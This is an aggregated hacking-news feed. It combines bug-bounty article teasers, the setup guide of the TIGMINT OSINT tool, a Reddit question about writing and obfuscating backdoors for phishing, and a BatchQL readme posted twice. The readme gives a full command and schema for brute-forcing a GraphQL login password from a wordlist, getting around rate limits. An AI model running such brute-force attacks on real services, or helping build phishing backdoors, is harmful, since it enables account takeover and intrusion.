Admin access !!
https://dewangpanchal98.medium.com/admin-access-799b50694965?source=rss------bug_bounty-5

Hellow folks! I hope you’re well! In this writeup I’ll tell how I become low privilege user to an Admin. So without further delay let’s…Continue reading on Medium » (https://dewangpanchal98.medium.com/admin-access-799b50694965?source=rss------bug_bounty-5)

Android APK Reversing through a Hyper-V configured system, a writeup & guide.
https://masq31.medium.com/android-apk-reversing-through-a-hyper-v-configured-system-a-writeup-guide-a38095c9d001?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Hello everyone. I was debating putting this writeup on another site, but I settled with keeping it on medium for the time being. My latest…Continue reading on Medium » (https://masq31.medium.com/android-apk-reversing-through-a-hyper-v-configured-system-a-writeup-guide-a38095c9d001?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux TutorialsTIGMINT : OSINT (Open Source Intelligence) GUI Software Framework
TIGMINT is an OSINT (Open Source Intelligence) software framework with an objective of making cyber investigations more convinient by implementing abstraction mechanisms to hide the background technical complexity also bundling different analysis techniques for social media Intelligence together providing a simple intuitive web interface for the user to work with.

Preview

Modules

Our Team

Documentation

Account Finder

Twitter Analyser

Working Tool Screenshots

Local Setup

Requirements

* Python 3.6;
* beautifulsoup4;
* Nodejs;
* matplotlib;
* pandas;
* NPM;
* nltk;

Windows Setup Issues

For windows users, if the setup fails or application is redirecting to 404 error page always. You can verify the below steps.

* Verify all the modules in requirements.txt are successfully installed using pip3 install -r requirements.txt Command . In windows you have to manually install wordcloud module based on your python version.
WordCloud module download Link   |   StackOverflow Help Thread
Ex: If you had python 3.6 installed, then you have to install wordcloud‑1.8.0‑cp36‑cp36m‑win_amd64.whl module from the above link.
After installing the wordcloud module, run command pip install -r requirements.txt again to check if all requirements are installed successfully.
* Check if all Node requirements are installed using npm install command.

If you still had any problems please open a issue with module name, operating system, input and output and console log. We will try to fix the issue as soon as possible.

Linux Meta-Analysis Requirment

sudo apt install exiftool

The above tool is required to retreive metadata from various file formats.

Installing And Running

Git

git clone https://github.com/TIGMINT/TIGMINT
cd TIGMINT
pip3 install -r requirements.txt
pip3 install –user –upgrade git+https://github.com/twintproject/twint.git@origin/master#egg=twint
npm install
node Api/server.js

Tool not working?

* Update python dependencies. (pip3 install –user –upgrade git+https://github.com/twintproject/twint.git@origin/master#egg=twint)
* Reinstall from the github repo.
* Raise an issue with the error logs. We will fix it asap !.

Using Docker

you can run with docker with this command

docker run –name tigmint -p 3000:3000 k1m0ch1/tigmint

and open the http://localhost:3000

or you can build the image by yourself with command

docker build -t tigmint .


Download

___________________________
@hacking_Attack
@Hacking_Video

From Google Dorking to Information Disclosure

This is a story about how I used google dorking to find sensitive information exposed in a private VDP program. This is a rather short…Continue reading on Medium »
Read more...

Hacking on Medium
What You Need To Know About SolarWinds Cyber Attack


SolarWinds Data Breach (March 2020)

Continue reading on Nerd For Tech »

Hacking on Medium
From Google Dorking to Information Disclosure


This is a story about how I used google dorking to find sensitive information exposed in a private VDP program. This is a rather short…

Continue reading on Medium »

Hacking on Medium
3 Common Tricks Hackers Used to Steal your Money in Blockchain


Popularity of blockchain and cryptocurrencies have been growing dramatically in recent years. Not only the institutional investors, many…

Continue reading on Medium »

Hacking on Medium
Attacking unvalidated redirection and Forward


Introduction

Continue reading on Medium »

From Google Dorking to Information Disclosure
https://mikekitckchan.medium.com/from-google-dorking-to-information-disclosure-5da4f1d771e5?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

This is a story about how I used google dorking to find sensitive information exposed in a private VDP program. This is a rather short…Continue reading on Medium » (https://mikekitckchan.medium.com/from-google-dorking-to-information-disclosure-5da4f1d771e5?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Recommendations for writing custom back doors and obfuscation
https://www.reddit.com/r/Pentesting/comments/pqrir2/recommendations_for_writing_custom_back_doors_and/

I am in my senior year of my Bachelor’s in cybersecurity and network management. I have learned a great deal about system scans, finding unpatched vulnerabilities, and using tools like metasploit or routersploit to exploit known vulnerabilities. I, however am wanting to spend some time learning how to write my own back doors and the best ways to obfuscate them for use in phishing. It seems to me that social engineering is a more effective way for delivering payloads than crossing your fingers and hoping for a zero day or non-existent patch. So here is my question: Do you all recommend me learning up on powershell and then using Java to execute and obfuscate the payload? Or do you all recommend starting with python back doors and doing string obfuscation using python commands? Or do you recommend something completely different? Any and all recommendations and info are greatly appreciated. submitted by /u/Tiny-Personality-887 (https://www.reddit.com/user/Tiny-Personality-887)
[link] (https://www.reddit.com/r/Pentesting/comments/pqrir2/recommendations_for_writing_custom_back_doors_and/) [comments] (https://www.reddit.com/r/Pentesting/comments/pqrir2/recommendations_for_writing_custom_back_doors_and/)

___________________________
@hacking_Attack
@Hacking_Video

BatchQL - GraphQL Security Auditing Script With A Focus On Performing Batch GraphQL Queries And Mutations
http://www.kitploit.com/2021/09/batchql-graphql-security-auditing.html

___________________________
@hacking_Attack
@Hacking_Video

BatchQL is a GraphQL security auditing (https://www.kitploit.com/search/label/Auditing) script with a focus on performing batch GraphQL queries and mutations. This script is not complex, and we welcome improvements. When exploring the problem space of GraphQL batching attacks, we found that there were a few blog posts on the internet, however no tool to perform GraphQL batching attacks. GraphQL batching attacks can be quite serious depending on the functionalities implemented. For example, imagine a password reset functionality which expects a 4 digit pin that was sent to your email. With this tool, you could attempt all 10k pin attempts in a single GraphQL query. This may bypass any rate limiting or account lockouts depending on the implementation details of the password reset flow.
Detections
This tool is capable of detecting the following: Introspection query support Schema suggestions detection Potential CSRF detection Query name based batching Query JSON list based batching
Attacks
Currently, this tool only supports sending JSON list based queries for batching attacks. It supports scenarios where the variables are embedded (https://www.kitploit.com/search/label/Embedded) in the query, or where they are provided in the JSON input.
Usage

Enumeration
❯ python batch.py -e http://re.local:5000/graphiql -p localhost:8080

Schema suggestions enabled. Use Clairvoyance to recover schema: https://github.com/nikitastupin/clairvoyance
CSRF GET based successful. Please confirm that this is a valid issue.
CSRF POST based successful. Please confirm that this is a valid issue.
Query name based batching: GraphQL batching is possible... preflight request was successful.
Query JSON list based batching: GraphQL batching is possible... preflight request was successful.
Most provide query, wordlist, and size to perform batching attack.

Batching Attacks
Save a file that contains your GraphQL query i.e. acc-login.txt: mutation emailLoginRemembered($loginInput: InputRememberedEmailLogin!) {
emailLoginRemembered(loginInput: $loginInput) {
authToken {
accessToken
__typename
}
userSessionResponse {
userToken
userIdentity {
userId
identityType
verified
onboardingStatus
registrationReferralCode
userReferralInfo {
referralCode {
code
valid
__typename
}
__typename
}
__typename
}
__typename
}
__typename
}
}
Run the following command to run a GraphQL batching attack: ❯ python batch.py --query acc-login.txt --wordlist passwords.txt -v '{"loginInput":{"email":"admin@example.com","password":"#VARIABLE#","rememberMe":false}}' --size 100 -e http://re.local:5000/graphiql -p localhost:8080
The above command does the following: Specifies a query from a local file --query acc-login.txt. Specifies a wordlist (https://www.kitploit.com/search/label/Wordlist) --wordlist passwords.txt Specifies the variable input with the replacement identifier (https://www.kitploit.com/search/label/Identifier) -v {"loginInput":{"email":"admin@example.com","password":"#VARIABLE#","rememberMe":false}} Specifies the batch size --size 100 Specifies the endpoint -e http://re.local:5000/graphiql Specifies a proxy -p localhost:8080
References
Exploiting GraphQL (https://blog.assetnote.io/2021/08/29/exploiting-graphql/) Damn (https://github.com/dolevf/Damn-Vulnerable-GraphQL-Application)Vulnerable (https://www.kitploit.com/search/label/Vulnerable) GraphQL Application GraphQL Batching Attack - Wallarm (https://lab.wallarm.com/graphql-batching-attack/) Mitigating Batching Attacks (https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html#mitigating-batching-attacks)

Download Batchql (https://github.com/assetnote/batchql)

___________________________
@hacking_Attack
@Hacking_Video

BatchQL - GraphQL Security Auditing Script With A Focus On Performing Batch GraphQL Queries And Mutations

BatchQL is a GraphQL security auditing script with a focus on performing batch GraphQL queries and mutations. This script is not complex, and we welcome improvements. When exploring the problem space of GraphQL batching attacks, we found that there were a few blog posts on the internet, however no tool to perform GraphQL batching attacks. GraphQL batching attacks can be quite serious depending on the functionalities implemented. For example, imagine a password reset functionality which expects a 4 digit pin that was sent to your email. With this tool, you could attempt all 10k pin attempts in a single GraphQL query. This may bypass any rate limiting or account lockouts depending on the implementation details of the password reset flow.Detections This tool is capable of detecting the following: Introspection query support Schema suggestions detection Potential CSRF detection Query name based batching Query JSON list based batching Attacks Currently, this tool only supports sending JSON list based queries for batching attacks. It supports scenarios where the variables are embedded in the query, or where they are provided in the JSON input. Usage Enumeration ❯ python batch.py -e http://re.local:5000/graphiql -p localhost:8080Schema suggestions enabled. Use Clairvoyance to recover schema: https://github.com/nikitastupin/clairvoyanceCSRF GET based successful. Please confirm that this is a valid issue.CSRF POST based successful. Please confirm that this is a valid issue.Query name based batching: GraphQL batching is possible... preflight request was successful.Query JSON list based batching: GraphQL batching is possible... preflight request was successful.Most provide query, wordlist, and size to perform batching attack. Batching Attacks Save a file that contains your GraphQL query i.e. acc-login.txt: mutation emailLoginRemembered($loginInput: InputRememberedEmailLogin!) { emailLoginRemembered(loginInput: $loginInput) { authToken { accessToken _typename } userSessionResponse { userToken userIdentity { userId identityType verified onboardingStatus registrationReferralCode userReferralInfo { referralCode { code valid _typename } _typename } _typename } _typename } _typename } } Run the following command to run a GraphQL batching attack: ❯ python batch.py --query acc-login.txt --wordlist passwords.txt -v '{"loginInput":{"email":"admin@example.com","password":"#VARIABLE#","rememberMe":false}}' --size 100 -e http://re.local:5000/graphiql -p localhost:8080 The above command does the following: Specifies a query from a local file --query acc-login.txt. Specifies a wordlist --wordlist passwords.txt Specifies the variable input with the replacement identifier -v {"loginInput":{"email":"admin@example.com","password":"#VARIABLE#","rememberMe":false}} Specifies the batch size --size 100 Specifies the endpoint -e http://re.local:5000/graphiql Specifies a proxy -p localhost:8080 References Exploiting GraphQL Damn Vulnerable GraphQL Application GraphQL Batching Attack - Wallarm Mitigating Batching Attacks Download Batchql
Read more...

___________________________
@hacking_Attack
@Hacking_Video